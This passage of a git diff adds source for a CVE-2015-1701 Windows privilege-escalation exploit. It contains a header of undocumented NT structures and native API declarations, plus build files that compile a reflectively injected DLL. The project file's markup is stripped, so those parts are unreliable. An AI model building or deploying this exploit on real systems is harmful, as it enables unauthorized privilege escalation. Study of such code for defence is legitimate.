+ ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + PVOID WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + PVOID SystemReserved1[54]; + NTSTATUS ExceptionCode; + PVOID ActivationContextStackPointer; +#if defined(_M_X64) + UCHAR SpareBytes[24]; +#else + UCHAR SpareBytes[36]; +#endif + ULONG TxFsContext; + + GDI_TEB_BATCH GdiTebBatch; + CLIENT_ID RealClientId; + HANDLE GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + PVOID GdiThreadLocalInfo; + ULONG_PTR Win32ClientInfo[62]; + PVOID glDispatchTable[233]; + ULONG_PTR glReserved1[29]; + PVOID glReserved2; + PVOID glSectionInfo; + PVOID glSection; + PVOID glTable; + PVOID glCurrentRC; + PVOID glContext; + + NTSTATUS LastStatusValue; + UNICODE_STRING StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + + PVOID DeallocationStack; + PVOID TlsSlots[64]; + LIST_ENTRY TlsLinks; + + PVOID Vdm; + PVOID ReservedForNtRpc; + PVOID DbgSsReserved[2]; + + ULONG HardErrorMode; +#if defined(_M_X64) + PVOID Instrumentation[11]; +#else + PVOID Instrumentation[9]; +#endif + GUID ActivityId; + + PVOID SubProcessTag; + PVOID EtwLocalData; + PVOID EtwTraceData; + PVOID WinSockData; + ULONG GdiBatchCount; + + union + { + PROCESSOR_NUMBER CurrentIdealProcessor; + ULONG IdealProcessorValue; + struct + { + UCHAR ReservedPad0; + UCHAR ReservedPad1; + UCHAR ReservedPad2; + UCHAR IdealProcessor; + }; + }; + + ULONG GuaranteedStackBytes; + PVOID ReservedForPerf; + PVOID ReservedForOle; + ULONG WaitingOnLoaderLock; + PVOID SavedPriorityState; + ULONG_PTR SoftPatchPtr1; + PVOID ThreadPoolData; + PVOID *TlsExpansionSlots; +#if defined(_M_X64) + PVOID DeallocationBStore; + PVOID BStoreLimit; +#endif + ULONG MuiGeneration; + ULONG IsImpersonating; + PVOID NlsCache; + PVOID pShimData; + ULONG HeapVirtualAffinity; + HANDLE CurrentTransactionHandle; + PTEB_ACTIVE_FRAME ActiveFrame; + PVOID FlsData; + + PVOID PreferredLanguages; + PVOID UserPrefLanguages; + PVOID MergedPrefLanguages; + ULONG MuiImpersonation; + + union + { + USHORT CrossTebFlags; + USHORT SpareCrossTebBits : 16; + }; + union + { + USHORT SameTebFlags; + struct + { + USHORT SafeThunkCall : 1; + USHORT InDebugPrint : 1; + USHORT HasFiberData : 1; + USHORT SkipThreadAttach : 1; + USHORT WerInShipAssertCode : 1; + USHORT RanProcessInit : 1; + USHORT ClonedThread : 1; + USHORT SuppressDebugMsg : 1; + USHORT DisableUserStackWalk : 1; + USHORT RtlExceptionAttached : 1; + USHORT InitialThread : 1; + USHORT SpareSameTebBits : 1; + }; + }; + + PVOID TxnScopeEnterCallback; + PVOID TxnScopeExitCallback; + PVOID TxnScopeContext; + ULONG LockCount; + ULONG SpareUlong0; + PVOID ResourceRetValue; +} TEB, *PTEB; + +__inline struct _PEB * NtCurrentPeb() { return NtCurrentTeb()->ProcessEnvironmentBlock; } + +/* +** PEB/TEB END +*/ + +/* +** ALPC START +*/ + +typedef struct _PORT_MESSAGE { + union { + struct { + CSHORT DataLength; + CSHORT TotalLength; + } s1; + ULONG Length; + } u1; + union { + struct { + CSHORT Type; + CSHORT DataInfoOffset; + } s2; + ULONG ZeroInit; + } u2; + union { + CLIENT_ID ClientId; + double DoNotUseThisField; // Force quadword alignment + } u3; + ULONG MessageId; + union { + ULONG ClientViewSize; // Only valid on LPC_CONNECTION_REQUEST message + ULONG CallbackId; // Only valid on LPC_REQUEST message + } u4; + UCHAR Reserved[8]; +} PORT_MESSAGE, *PPORT_MESSAGE; + +// end_ntsrv + +typedef struct _PORT_DATA_ENTRY { + PVOID Base; + ULONG Size; +} PORT_DATA_ENTRY, *PPORT_DATA_ENTRY; + +typedef struct _PORT_DATA_INFORMATION { + ULONG CountDataEntries; + PORT_DATA_ENTRY DataEntries[1]; +} PORT_DATA_INFORMATION, *PPORT_DATA_INFORMATION; + +#define LPC_REQUEST 1 +#define LPC_REPLY 2 +#define LPC_DATAGRAM 3 +#define LPC_LOST_REPLY 4 +#define LPC_PORT_CLOSED 5 +#define LPC_CLIENT_DIED 6 +#define LPC_EXCEPTION 7 +#define LPC_DEBUG_EVENT 8 +#define LPC_ERROR_EVENT 9 +#define LPC_CONNECTION_REQUEST 10 + +#define PORT_VALID_OBJECT_ATTRIBUTES (OBJ_CASE_INSENSITIVE) +#define PORT_MAXIMUM_MESSAGE_LENGTH 256 + +typedef struct _LPC_CLIENT_DIED_MSG { + PORT_MESSAGE PortMsg; + LARGE_INTEGER CreateTime; +} LPC_CLIENT_DIED_MSG, *PLPC_CLIENT_DIED_MSG; + +typedef struct _PORT_VIEW { + ULONG Length; + HANDLE SectionHandle; + ULONG SectionOffset; + ULONG ViewSize; + PVOID ViewBase; + PVOID ViewRemoteBase; +} PORT_VIEW, *PPORT_VIEW; + +typedef struct _REMOTE_PORT_VIEW { + ULONG Length; + ULONG ViewSize; + PVOID ViewBase; +} REMOTE_PORT_VIEW, *PREMOTE_PORT_VIEW; + +/* +** ALPC END +*/ + + +/* +** Csr Runtime START +*/ + +ULONG NTAPI CsrGetProcessId( + ); + +/* +** Csr Runtime END +*/ + +/* +** Runtime Library API START +*/ + +VOID NTAPI RtlInitUnicodeString( + _Inout_ PUNICODE_STRING DestinationString, + _In_ PCWSTR SourceString + ); + +//NTSTATUS NTAPI RtlGetVersion( +// _Inout_ PRTL_OSVERSIONINFOW lpVersionInformation +// ); + +VOID NTAPI RtlTimeToTimeFields( + _Inout_ PLARGE_INTEGER Time, + _Inout_ PTIME_FIELDS TimeFields + ); + +ULONG NTAPI RtlNtStatusToDosError( + _In_ NTSTATUS Status + ); + +NTSTATUS NTAPI RtlGetOwnerSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PSID *Owner, + _Out_ PBOOLEAN OwnerDefaulted + ); + +NTSTATUS NTAPI RtlGetGroupSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PSID *Group, + _Out_ PBOOLEAN GroupDefaulted + ); + +NTSTATUS NTAPI RtlGetDaclSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PBOOLEAN DaclPresent, + _Out_ PACL *Dacl, + _Out_ PBOOLEAN DaclDefaulted + ); + +NTSTATUS NTAPI RtlGetSaclSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _Out_ PBOOLEAN SaclPresent, + _Out_ PACL *Sacl, + _Out_ PBOOLEAN SaclDefaulted + ); + +ULONG NTAPI RtlLengthSecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor + ); + +VOID NTAPI RtlMapGenericMask( + _In_ PACCESS_MASK AccessMask, + _In_ PGENERIC_MAPPING GenericMapping + ); + +VOID NTAPI RtlInitString( + PSTRING DestinationString, + PCSZ SourceString + ); + +NTSTATUS NTAPI RtlExpandEnvironmentStrings_U( + _In_opt_ PVOID Environment, + _In_ PCUNICODE_STRING Source, + _Out_ PUNICODE_STRING Destination, + _Out_opt_ PULONG ReturnedLength + ); + +VOID NTAPI RtlSetLastWin32Error( + LONG Win32Error + ); + +ULONG DbgPrint( + _In_ PCH Format, + ... + ); + +/* +** Runtime Library API END +*/ + +/* +** Loader API START +*/ + +NTSTATUS NTAPI LdrGetProcedureAddress( + _In_ PVOID DllHandle, + _In_opt_ CONST ANSI_STRING* ProcedureName, + _In_opt_ ULONG ProcedureNumber, + _Out_ PVOID *ProcedureAddress + ); + +/* +** Loader API END +*/ + +/* +** Native API START +*/ + +NTSTATUS NTAPI NtClose( + _In_ HANDLE Handle + ); + +NTSTATUS NTAPI NtOpenDirectoryObject( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQueryDirectoryObject( + _In_ HANDLE DirectoryHandle, + _Out_opt_ PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_ BOOLEAN RestartScan, + _Inout_ PULONG Context, + PULONG ReturnLength + ); + +NTSTATUS NTAPI NtQueryObject( + _In_opt_ HANDLE Handle, + _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, + _Out_opt_ PVOID ObjectInformation, + _In_ ULONG ObjectInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +//NTSTATUS WINAPI NtQuerySystemInformation( +// _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, +// _Inout_ PVOID SystemInformation, +// _In_ ULONG SystemInformationLength, +// _Out_opt_ PULONG ReturnLength +// ); + +NTSTATUS NTAPI NtCreateMutant( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ BOOLEAN InitialOwner + ); + +NTSTATUS NTAPI NtOpenMutant( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQueryMutant( + _In_ HANDLE MutantHandle, + _In_ MUTANT_INFORMATION_CLASS MutantInformationClass, + _Out_ PVOID MutantInformation, + _In_ ULONG MutantInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtReleaseMutant( + _In_ HANDLE MutantHandle, + _Out_opt_ PLONG PreviousCount + ); + +NTSTATUS NTAPI NtCreateTimer( + _In_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TIMER_TYPE TimerType + ); + +NTSTATUS NtSetTimer( + _In_ HANDLE TimerHandle, + _In_ PLARGE_INTEGER DueTime, + _In_opt_ PTIMER_APC_ROUTINE TimerApcRoutine, + _In_opt_ PVOID TimerContext, + _In_ BOOLEAN WakeTimer, + _In_opt_ LONG Period, + _Out_opt_ PBOOLEAN PreviousState + ); + +NTSTATUS NTAPI NtOpenTimer( + _In_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQueryTimer( + _In_ HANDLE TimerHandle, + _In_ TIMER_INFORMATION_CLASS TimerInformationClass, + _Out_ PVOID TimerInformation, + _In_ ULONG TimerInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS WINAPI NtOpenSymbolicLinkObject( + _Out_ PHANDLE LinkHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQuerySymbolicLinkObject( + _In_ HANDLE LinkHandle, + _Inout_ PUNICODE_STRING LinkTarget, + _Out_opt_ PULONG ReturnedLength + ); + +NTSTATUS NTAPI NtQuerySemaphore( + _In_ HANDLE SemaphoreHandle, + _In_ SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass, + _Out_ PVOID SemaphoreInformation, + _In_ ULONG SemaphoreInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtQueryDirectoryFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass, + _In_ BOOLEAN ReturnSingleEntry, + _In_opt_ PUNICODE_STRING FileName, + _In_ BOOLEAN RestartScan + ); + +NTSTATUS NTAPI NtQuerySection( + _In_ HANDLE SectionHandle, + _In_ SECTION_INFORMATION_CLASS SectionInformationClass, + _Out_ PVOID SectionInformation, + _In_ SIZE_T SectionInformationLength, + _Out_opt_ PSIZE_T ReturnLength + ); + +NTSTATUS NtOpenSection( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtCreateSection( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PLARGE_INTEGER MaximumSize, + _In_ ULONG SectionPageProtection, + _In_ ULONG AllocationAttributes, + _In_opt_ HANDLE FileHandle + ); + +NTSTATUS NTAPI NtMapViewOfSection( + _In_ HANDLE SectionHandle, + _In_ HANDLE ProcessHandle, + __inout PVOID *BaseAddress, + _In_ ULONG_PTR ZeroBits, + _In_ SIZE_T CommitSize, + _Inout_opt_ PLARGE_INTEGER SectionOffset, + _Inout_ PSIZE_T ViewSize, + _In_ SECTION_INHERIT InheritDisposition, + _In_ ULONG AllocationType, + _In_ ULONG Win32Protect + ); + +NTSTATUS NTAPI NtUnmapViewOfSection( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress + ); + +NTSTATUS NTAPI NtOpenProcessToken( + _In_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _Out_ PHANDLE TokenHandle + ); + +NTSTATUS NTAPI NtAdjustPrivilegesToken( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN DisableAllPrivileges, + _In_opt_ PTOKEN_PRIVILEGES NewState, + _In_opt_ ULONG BufferLength, + _Out_opt_ PTOKEN_PRIVILEGES PreviousState, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtQueryInformationToken( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _Out_ PVOID TokenInformation, + _In_ ULONG TokenInformationLength, + _Out_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtOpenKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQueryKey( + _In_ HANDLE KeyHandle, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_opt_ PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength + ); + +NTSTATUS NTAPI NtOpenJobObject( + _Out_ PHANDLE JobHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQueryInformationJobObject( + _In_opt_ HANDLE JobHandle, + _In_ JOBOBJECTINFOCLASS JobObjectInformationClass, + _Out_ PVOID JobObjectInformation, + _In_ ULONG JobObjectInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtOpenIoCompletion( + _Out_ PHANDLE IoCompletionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQueryIoCompletion( + _In_ HANDLE IoCompletionHandle, + _In_ IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass, + _Out_ PVOID IoCompletionInformation, + _In_ ULONG IoCompletionInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtQueryInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass + ); + +NTSTATUS NTAPI NtOpenFile( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG ShareAccess, + _In_ ULONG OpenOptions + ); + +NTSTATUS NTAPI NtOpenEvent( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtOpenKeyedEvent( + _Out_ PHANDLE KeyedEventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtOpenSemaphore( + _Out_ PHANDLE SemaphoreHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQueryEvent( + _In_ HANDLE EventHandle, + _In_ EVENT_INFORMATION_CLASS EventInformationClass, + _Out_ PVOID EventInformation, + _In_ ULONG EventInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtOpenEventPair( + _Out_ PHANDLE EventPairHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +//TmTx +NTSTATUS NTAPI NtCreateTransaction( + _Out_ PHANDLE TransactionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ LPGUID Uow, + _In_opt_ HANDLE TmHandle, + _In_opt_ ULONG CreateOptions, + _In_opt_ ULONG IsolationLevel, + _In_opt_ ULONG IsolationFlags, + _In_opt_ PLARGE_INTEGER Timeout, + _In_opt_ PUNICODE_STRING Description + ); + +//TmRm +NTSTATUS NTAPINtCreateResourceManager( + _Out_ PHANDLE ResourceManagerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ HANDLE TmHandle, + _In_opt_ LPGUID ResourceManagerGuid, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG CreateOptions, + _In_opt_ PUNICODE_STRING Description + ); + +//TmEn +NTSTATUS NTAPI NtCreateEnlistment( + _Out_ PHANDLE EnlistmentHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ HANDLE ResourceManagerHandle, + _In_ HANDLE TransactionHandle, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG CreateOptions, + _In_ NOTIFICATION_MASK NotificationMask, + _In_opt_ PVOID EnlistmentKey + ); + +//TmTm +NTSTATUS NTAPI NtCreateTransactionManager( + _Out_ PHANDLE TmHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PUNICODE_STRING LogFileName, + _In_opt_ ULONG CreateOptions, + _In_opt_ ULONG CommitStrength + ); + +NTSTATUS NTAPI NtCreateFile( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_opt_ PLARGE_INTEGER AllocationSize, + _In_ ULONG FileAttributes, + _In_ ULONG ShareAccess, + _In_ ULONG CreateDisposition, + _In_ ULONG CreateOptions, + _In_opt_ PVOID EaBuffer, + _In_ ULONG EaLength + ); + +NTSTATUS NTAPI NtOpenProcess( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PCLIENT_ID ClientId + ); + +NTSTATUS NTAPI NtTerminateProcess( + _In_opt_ HANDLE ProcessHandle, + _In_ NTSTATUS ExitStatus + ); + +NTSTATUS NTAPI NtSuspendThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount + ); + +NTSTATUS NTAPI NtResumeThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount + ); + +NTSTATUS NTAPI NtQueryInformationProcess( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _Out_ PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtDuplicateObject( + _In_ HANDLE SourceProcessHandle, + _In_ HANDLE SourceHandle, + _In_opt_ HANDLE TargetProcessHandle, + _Out_ PHANDLE TargetHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Options + ); + +NTSTATUS NTAPI NtSetSecurityObject( + _In_ HANDLE Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor + ); + +NTSTATUS NTAPI NtQuerySecurityObject( + _In_ HANDLE Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _Out_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ ULONG Length, + _Out_ PULONG LengthNeeded + ); + +NTSTATUS NtCreateIoCompletion( + _Out_ PHANDLE IoCompletionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG Count + ); + +NTSTATUS NTAPI NtCreateEvent( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ EVENT_TYPE EventType, + _In_ BOOLEAN InitialState + ); + +NTSTATUS NTAPI NtQueryVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress, + _In_ MEMORY_INFORMATION_CLASS MemoryInformationClass, + _Out_ PVOID MemoryInformation, + _In_ SIZE_T MemoryInformationLength, + _Out_opt_ PSIZE_T ReturnLength + ); + +NTSTATUS NTAPI NtReadVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _Out_ PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesRead + ); + +NTSTATUS NTAPI NtWriteVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_ VOID *Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesWritten + ); + +NTSTATUS NTAPI NtEnumerateKey( + _In_ HANDLE KeyHandle, + _In_ ULONG Index, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_opt_ PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength + ); + +NTSTATUS NTAPI NtCreatePort( + _Out_ PHANDLE PortHandle, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG MaxConnectionInfoLength, + _In_ ULONG MaxMessageLength, + _In_ ULONG MaxPoolUsage + ); + +NTSTATUS NTAPI NtCompleteConnectPort( + _In_ HANDLE PortHandle + ); + +NTSTATUS NTAPI NtListenPort( + _In_ HANDLE PortHandle, + _Out_ PPORT_MESSAGE ConnectionRequest + ); + +NTSTATUS NTAPI NtReplyPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE ReplyMessage + ); + +NTSTATUS NTAPI NtReplyWaitReplyPort( + _In_ HANDLE PortHandle, + _Inout_ PPORT_MESSAGE ReplyMessage + ); + +NTSTATUS NTAPI NtRequestPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE RequestMessage + ); + +NTSTATUS NTAPI NtRequestWaitReplyPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE RequestMessage, + _Out_ PPORT_MESSAGE ReplyMessage + ); + +NTSTATUS NTAPI NtClosePort( + _In_ HANDLE PortHandle + ); + +NTSTATUS NTAPI NtReplyWaitReceivePort( + _In_ HANDLE PortHandle, + _Out_opt_ PVOID *PortContext, + _In_opt_ PPORT_MESSAGE ReplyMessage, + _Out_ PPORT_MESSAGE ReceiveMessage + ); + +NTSTATUS NTAPI NtWriteRequestData( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG DataEntryIndex, + _In_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG NumberOfBytesWritten + ); + +NTSTATUS NTAPI NtReadRequestData( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG DataEntryIndex, + _Out_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG NumberOfBytesRead + ); + +NTSTATUS NTAPI NtConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, + _Inout_opt_ PPORT_VIEW ClientView, + _Out_opt_ PREMOTE_PORT_VIEW ServerView, + _Out_opt_ PULONG MaxMessageLength, + _Inout_opt_ PVOID ConnectionInformation, + _Inout_opt_ PULONG ConnectionInformationLength + ); + +NTSTATUS NTAPI NtAcceptConnectPort( + _Out_ PHANDLE PortHandle, + _In_opt_ PVOID PortContext, + _In_ PPORT_MESSAGE ConnectionRequest, + _In_ BOOLEAN AcceptConnection, + _Inout_opt_ PPORT_VIEW ServerView, + _Out_opt_ PREMOTE_PORT_VIEW ClientView + ); diff --git a/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.vcxproj b/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.vcxproj new file mode 100755 index 0000000000..b4534dd447 --- /dev/null +++ b/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.vcxproj @@ -0,0 +1,245 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {24713BA3-D562-41EF-87FC-9D5E44DFF2F8} + cve-2015-1701 + Win32Proj + + + + DynamicLibrary + MultiByte + false + v120_xp + + + DynamicLibrary + MultiByte + false + v120_xp + + + DynamicLibrary + MultiByte + v120_xp + + + DynamicLibrary + MultiByte + v120_xp + + + + + + + + + + + <_ProjectFileVersion>10.0.30319.1 + $(Configuration)\$(Platform)\ + $(Configuration)\$(Platform)\ + false + false + AllRules.ruleset + + + $(ProjectName).$(PlatformShortName) + + + + Disabled + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE_2015_1701_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebug + + + Level3 + true + + + Mpr.lib;%(AdditionalDependencies) + %(AdditionalLibraryDirectories) + %(DelayLoadDLLs) + true + Windows + MachineX86 + + + /ignore:4070 + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +exit 0 + + + _DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions) + + + + + Disabled + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE_2015_1701_EXPORTS;%(PreprocessorDefinitions) + EnableFastChecks + MultiThreadedDebug + + + Level3 + true + + + Mpr.lib;%(AdditionalDependencies) + %(AdditionalLibraryDirectories) + %(DelayLoadDLLs) + true + Windows + + + /ignore:4070 + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +exit 0 + + + _DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions) + + + + + MinSpace + OnlyExplicitInline + false + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE_2015_1701_EXPORTS;%(PreprocessorDefinitions) + true + MultiThreaded + false + + + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + ProgramDatabase + false + Size + true + + + Mpr.lib;%(AdditionalDependencies) + %(AdditionalLibraryDirectories) + false + %(IgnoreSpecificDefaultLibraries) + %(DelayLoadDLLs) + false + true + $(OutDir)\cve-2015-1701.map + Windows + + + + + false + + + $(OutDir)\cve-2015-1701.lib + MachineX86 + false + + + /ignore:4070 + + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "..\..\..\..\..\data\exploits\CVE-2015-1701\" GOTO COPY + mkdir "..\..\..\..\..\data\exploits\CVE-2015-1701\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2015-1701\" + + + + + MinSpace + OnlyExplicitInline + false + ..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE_2015_1701_EXPORTS;%(PreprocessorDefinitions) + true + MultiThreaded + false + + + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + ProgramDatabase + false + Size + true + + + Mpr.lib;%(AdditionalDependencies) + %(AdditionalLibraryDirectories) + false + %(IgnoreSpecificDefaultLibraries) + %(DelayLoadDLLs) + false + true + $(OutDir)\cve-2015-1701.map + Windows + + + + + false + + + $(OutDir)\cve-2015-1701.lib + false + + + /ignore:4070 + + + editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.01 "$(TargetDir)$(TargetFileName)" > NUL +IF EXIST "..\..\..\..\..\data\exploits\CVE-2015-1701\" GOTO COPY + mkdir "..\..\..\..\..\data\exploits\CVE-2015-1701\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2015-1701\" + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2015-1701/make.msbuild b/external/source/exploits/cve-2015-1701/make.msbuild new file mode 100755 index 0000000000..933e497485 --- /dev/null +++ b/external/source/exploits/cve-2015-1701/make.msbuild @@ -0,0 +1,18 @@ + + + + .\cve-2015-1701.sln + + + + + + + + + + + + + + diff --git a/external/source/exploits/make.bat b/external/source/exploits/make.bat index fb39b2e3c5..53aaf45e4e 100755 --- a/external/source/exploits/make.bat 